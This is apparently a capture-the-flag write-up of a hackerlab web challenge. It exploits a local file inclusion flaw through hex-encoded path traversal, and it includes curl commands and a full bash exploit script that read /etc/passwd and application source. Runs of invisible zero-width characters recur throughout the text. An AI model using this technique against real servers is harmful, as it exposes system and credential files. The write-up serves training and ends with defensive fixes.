PDF Library

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-20 | Status: Solved Techniques: Local File Inclusion via hex-encoded path, Path traversal with hex encoding bypass, Source code analysis for hidden file discovery

Summary

Task: PDF download service with hex-encoded file parameter. Solution: Decode hex to discover LFI, use path traversal to read source code, find hidden flag file location in PHP comments.

PDF Library — hackerlab.pro

Description

"Здесь Вы можете скачать любой понравившийся Вам PDF-файл. В дальнейшем библиотеку ждет пополнение." (Here you can download any PDF file you like. The library will be expanded in the future.)

Target: http://62.173.140.174:16081

Analysis

1. URL Structure Investigation

The main page contains links to download PDF files:

• index.php?file=67726166696b2d6b7572736f762e706466
• index.php?file=726f61646d61702d76332e706466

The file parameter contains hex-encoded strings:

 bash read-only • copy allowed Copy
echo "67726166696b2d6b7572736f762e706466" | xxd -r -p
# grafik-kursov.pdf
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

echo "726f61646d61702d76332e706466" | xxd -r -p
# roadmap-v3.pdf

2. LFI Testing

Testing the ability to read arbitrary files via path traversal:

 bash read-only • copy allowed Copy
# Encode ../../../etc/passwd to hex
echo -n "../../../etc/passwd" | xxd -p
# 2e2e2f2e2e2f2e2e2f6574632f706173737764

curl "http://62.173.140.174:16081/index.php?file=2e2e2f2e2e2f2e2e2f6574632f706173737764"

Successfully retrieved the contents of /etc/passwd — LFI confirmed!

3. Reading Source Code

Reading the application source code:

 bash read-only • copy allowed Copy
# Encode /var/www/html/index.php
echo -n "/var/www/html/index.php" | xxd -p
# 2f7661722f7777772f68746d6c2f696e6465782e706870
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

curl "http://62.173.140.174:16081/index.php?file=2f7661722f7777772f68746d6c2f696e6465782e706870"

Found a critical comment in the source code:

 php read-only • copy allowed Copy
// $txt_files = array_slice(['test.txt', 'flag_for_hackerlab_ctfplayers.txt'], 0, 2); // Moved to upper directory

4. Flag Extraction

The comment indicates:

• Filename: flag_for_hackerlab_ctfplayers.txt
• Location: "upper directory" (parent directory)

 bash read-only • copy allowed Copy
# Encode ../flag_for_hackerlab_ctfplayers.txt
echo -n "../flag_for_hackerlab_ctfplayers.txt" | xxd -p
# 2e2e2f666c61675f666f725f6861636b65726c61625f637466706c61796572732e747874
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

curl "http://62.173.140.174:16081/index.php?file=2e2e2f666c61675f666f725f6861636b65726c61625f637466706c61796572732e747874"

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
# PDF Library LFI Exploit

TARGET="http://62.173.140.174:16081"

# Function to hex-encode a string
hex_encode() {
    echo -n "$1" | xxd -p | tr -d '\n'
}

# Step 1: Read /etc/passwd to confirm LFI
echo "[*] Testing LFI with /etc/passwd..."
PASSWD_HEX=$(hex_encode "../../../etc/passwd")
curl -s "$TARGET/index.php?file=$PASSWD_HEX" | head -5

# Step 2: Read source code
echo -e "\n[*] Reading source code..."
SOURCE_HEX=$(hex_encode "/var/www/html/index.php")
curl -s "$TARGET/index.php?file=$SOURCE_HEX" | grep -i flag
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Get the flag
echo -e "\n[*] Extracting flag..."
FLAG_HEX=$(hex_encode "../flag_for_hackerlab_ctfplayers.txt")
curl -s "$TARGET/index.php?file=$FLAG_HEX"

Vulnerability

 php read-only • copy allowed Copy
// Vulnerable code (presumably)
$file = hex2bin($_GET['file']);
readfile($file);  // No path traversal check!

Defense

1. Validate the path after decoding
2. Use a whitelist of allowed files
3. Use basename() to extract only the filename
4. Verify that the final path is within an allowed directory

 php read-only • copy allowed Copy
// Secure version
$file = hex2bin($_GET['file']);
$allowed_dir = '/var/www/html/pdfs/';
$real_path = realpath($allowed_dir . basename($file));
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if ($real_path && strpos($real_path, $allowed_dir) === 0) {
    readfile($real_path);
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍